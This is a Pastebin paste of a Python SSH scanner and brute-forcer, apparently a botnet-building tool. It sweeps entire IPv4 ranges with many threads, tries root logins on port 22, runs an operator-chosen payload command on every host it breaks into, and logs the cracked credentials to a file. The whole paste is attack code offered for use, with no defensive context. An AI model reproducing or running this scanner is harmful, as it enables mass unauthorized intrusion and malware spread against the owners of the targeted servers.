Advertisement
Guest User

Dank Scanner

a guest
Mar 21st, 2017
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.88 KB | None | 0 0
  1. # DON'T LET YOUR MEMES BE DREAMS, CAM@HF
  2. # nano /usr/include/bits/typesizes.h -> change 1024 to 99999
  3. # ulimit -n 99999
  4. # python scan.py
  5.  
  6. import threading, paramiko, random, socket, time
  7.  
  8. payloadline = "EXECUTE ME"
  9. # ^^^Make it personal^^^
  10.  
  11. paramiko.util.log_to_file("/dev/null")
  12.  
  13. lock = threading.Lock()
  14.  
  15. server_ip = "185.29.11.203"
  16.  
  17. blacklisted = ["127.0","10.0","192.168"]
  18.  
  19. passwords = ["root:root"]
  20.  
  21. ips = []
  22.  
  23. logging = ""
  24.  
  25. def scannerthread():
  26. global payloadline
  27. global passwords
  28. global ips
  29. global logging
  30. while len(ips) > 0:
  31. try:
  32. with lock:
  33. ip = ips.pop()
  34. thisipisbad='no'
  35. for badip in blacklisted:
  36. if badip in ip:
  37. thisipisbad='yes'
  38. if thisipisbad=='yes':
  39. sys.exit()
  40. username='root'
  41. password="0"
  42. port = 22
  43. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  44. s.settimeout(3)
  45. s.connect((ip, port))
  46. data = str(s.recv(1024))
  47. if "ssh" not in data.lower():
  48. raise Exception
  49. elif logging == True:
  50. print("[-] SSH Open On -> " + ip)
  51. s.close()
  52. ssh = paramiko.SSHClient()
  53. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  54. dobreak=False
  55. for passwd in passwords:
  56. password=passwd.split(":")[1]
  57. username=passwd.split(":")[0]
  58. try:
  59. ssh.connect(ip, port = port, username=username, password=password, timeout=3)
  60. break
  61. except:
  62. pass
  63. badserver=True
  64. stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
  65. output = stdout.read()
  66. if "inet addr" in output:
  67. badserver=False
  68. websites = [ ]
  69. if badserver == False:
  70. print("[+] Executing Payload -> " + ip + ":" + username + ":" + password)
  71. ssh.exec_command(payloadline)
  72. if logging == True:
  73. vulns = open("vuln.txt", "a").write(username + ":" + password + ":" + ip + "\n")
  74. time.sleep(25)
  75. ssh.close()
  76. except Exception as e:
  77. pass
  78.  
  79.  
  80. def scan():
  81. global logging
  82. logging = True
  83. print "Example range: 185.34 - 185.157"
  84. threadam = raw_input("Thread Count : ")
  85. startrng = raw_input("Start Range : ")
  86. endrng = raw_input("End Range : ")
  87.  
  88.  
  89. print "Creating Ranges"
  90. for A in range(int(startrng.split(".")[0]), int(endrng.split(".")[0])+1):
  91. for B in range(int(startrng.split(".")[1]), int(endrng.split(".")[1])+1):
  92. for subbies1 in range(0, 256):
  93. for subbies2 in range(0, 256):
  94. ips.append(str(A) + "." + str(B) + "." + str(subbies1) + "." + str(subbies2))
  95. ips.reverse()
  96. print "Done Creating Ranges, Scanner Starting"
  97.  
  98.  
  99. threads = []
  100. for counter in range(0, int(threadam)):
  101. try:
  102. threads.append(threading.Thread(target=scannerthread))
  103. except:
  104. pass
  105.  
  106. for thread in threads:
  107. thread.start()
  108.  
  109.  
  110. while True:
  111. time.sleep(20)
  112. threadcounter = 0
  113. for thread in threads:
  114. if thread.isAlive() == True:
  115. threadcounter += 1
  116. print "~~~~~~~~~~" + str(threadcounter) + " threads currently running ~~~~~~~~~~"
  117. if threadcounter == 0:
  118. print "Done"
  119. break
  120.  
  121. def exploit():
  122. global logging
  123. logging = False
  124. vulnlist = open("vuln.txt", "r")
  125. vulnerable = vulnlist.read()
  126. vulnlist.close()
  127. vuln = vulnerable.split("\n")
  128.  
  129. while "" in vuln:
  130. vuln.remove("")
  131. while " " in vuln:
  132. vuln.remove(" ")
  133. for line in vuln:
  134. try:
  135. ips.append(line.split(":")[2])
  136. except Exception as e:
  137. print "Wrong vuln list format? " + str(e)
  138.  
  139. threadam = input("Thread Count: ")
  140. threads = []
  141. for counter in range(0, int(threadam)):
  142. try:
  143. threads.append(threading.Thread(target=scannerthread))
  144. except:
  145. pass
  146.  
  147. for thread in threads:
  148. try:
  149. thread.start()
  150. except:
  151. pass
  152.  
  153. while True:
  154. time.sleep(20)
  155. threadcounter = 0
  156. for thread in threads:
  157. if thread.isAlive() == True:
  158. threadcounter += 1
  159. print "~~~~~~~~~~" + str(threadcounter) + " threads currently running ~~~~~~~~~~"
  160. if threadcounter == 0:
  161. print "Done"
  162. break
  163.  
  164.  
  165. userchoice = raw_input("Scan or exploit from vuln list? ")
  166. if userchoice == "scan":
  167. scan()
  168. elif userchoice == "exploit":
  169. exploit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement